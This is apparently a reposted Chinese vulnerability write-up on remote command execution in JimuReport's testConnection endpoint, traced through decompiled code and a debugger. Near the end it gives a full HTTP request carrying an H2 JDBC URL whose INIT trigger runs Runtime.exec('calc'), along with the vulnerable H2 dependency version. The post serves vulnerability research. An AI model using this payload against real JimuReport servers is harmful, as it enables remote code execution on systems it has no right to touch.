当前位置: 首页 > news >正文

Jimureport h2命令执行分析记录

首先找testConnection接口,前面进行了jimureport-spring-boot-starter-1.5.8.jar反编译查找,接口找到发现请求参数是json
在这里插入图片描述
var1是JmreportDynamicDataSourceVo类型,也就是如上图的dbSource,根据打印的结果可以知道这里是local cache key
ConcurrentHashMap属于并发程序,var4也就是连接相关的东西
那么这一块就是数据库连接的东西,主要说的是配置文件
因为jeecg-boot/jmreport/testConnection接口的参数是var1,是JmreportDynamicDataSourceVo类型,那么我们查看代码总结出来有这么几个参数id,code,dbType,dbDriver,dbUrl,dbName,dbUsername,dbPassword,connectTimes

那么继续往下走在这里插入图片描述
可以看到从var1(也就是JmreportDynamicDataSourceVo)中获得DbDriver,然后获得DbUrl,一起通过g方法传给了var39,来看看g方法在这里插入图片描述
这段代码的目的是用于处理包含数据库连接参数的字符串,如果字符串中包含 “mysql”,则将 “allowLoadLocalInfile” 参数设置为 “false”。这是为了增强安全性,因为允许加载本地文件可能存在一些潜在的安全风险

var2 = DriverManager.getConnection(var39, var1.getDbUsername(), var1.getDbPassword());

回到上一层,继续往下走,var2是进行数据库连接(dburl,username,password),那么记下来就是if判断var是否为null

但是上面是我们反编译出的jar包和实际还是有差别,进行动态调试看看
现在对传入的 HTTP 请求执行预处理的拦截器地方下断点,因为必经过这里
在这里插入图片描述
然后往下跳,在接口处下断点在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到为false,所以进入下面1091行的else
在这里插入图片描述
可以看到连接时候直接执行命令,弹出计算器
在这里插入图片描述
然后回显报错,这里会想到为什么会跳入这个catch (Exception var35)呢
因为执行的命令用于连接会报异常,catch (ClassNotFoundException var34) 块用于捕获ClassNotFoundException异常,而Exception var35用于捕获所有的异常

payload

POST /jeecg-boot/jmreport/testConnection HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 363{"id": "1","code": "dataSource1","dbType": "H2","dbDriver": "org.h2.Driver","dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$","dbName": "test","dbUsername": "sa","dbPassword": "","connectTimes": 5
}

在这里插入图片描述
目前是本地h2数据库没有配置好,并且idea没有配置h2的依赖
我们配置好如下
在这里插入图片描述
在idea中加入h2依赖

<!--h2-->
<dependency><groupId>com.h2database</groupId><artifactId>h2</artifactId><version>1.4.197</version><scope>runtime</scope>
</dependency>

根据我们之前写的h2文章,就是因为所在版本存在漏洞1.1.100 <= H2 Console <= 2.0.204
在这里插入图片描述
在这里插入图片描述
成功弹出计算器

http://www.lryc.cn/news/509313.html

相关文章:

  • vue 集成 webrtc-streamer 播放视频流 - 解决阿里云内外网访问视频流问题
  • 进网许可认证、交换路由设备检测项目更新25年1月起
  • Provides transitive vulnerable dependency maven 提示依赖存在漏洞问题的解决方法
  • WebAuthn 项目常见问题解决方案
  • LeetCode 844. 比较含退格的字符串 (C++实现)
  • Python8-写一些小作业
  • C++ STL vector基本原理和用法
  • 【计算机视觉基础CV-图像分类】05 - 深入解析ResNet与GoogLeNet:从基础理论到实际应用
  • 【人工智能-初级】基于用户的协同过滤推荐算法
  • 如何识别钓鱼邮件和诈骗网站?(附网络安全意识培训PPT资料)
  • Rust 在前端基建中的使用
  • 【人工智能】基于Python和OpenCV实现实时人脸识别系统:从基础到应用
  • Python 自动化 打开网站 填表登陆 例子
  • 【Chrome】浏览器提示警告Chrome is moving towards a new experience
  • 网络下载ts流媒体
  • iDP3复现代码模型训练全流程(一)——train_policy.sh
  • 重温设计模式--单例模式
  • 【人工智能】Python中的机器学习管道:如何用scikit-learn构建高效的ML管道
  • Redis存在安全漏洞
  • Scala图书管理系统
  • 【数据可视化案列】白葡萄酒质量数据的EDA可视化分析
  • Postman接口测试:全局变量/接口关联/加密/解密
  • vue+elementui实现下拉表格多选+搜索+分页+回显+全选2.0
  • 电商系统-产品经理
  • 《庐山派从入门到...》PWM板载蜂鸣器
  • 【河南新标】豫财预〔2024〕105号-《关于省级政务信息化建设项目支出预算标准的规定》-费用标准解读系列29
  • 【数据结构】数据结构整体大纲
  • 【C++基础】09、结构体
  • 大恒相机开发(2)—Python软触发调用采集图像
  • QT的前景与互联网岗位发展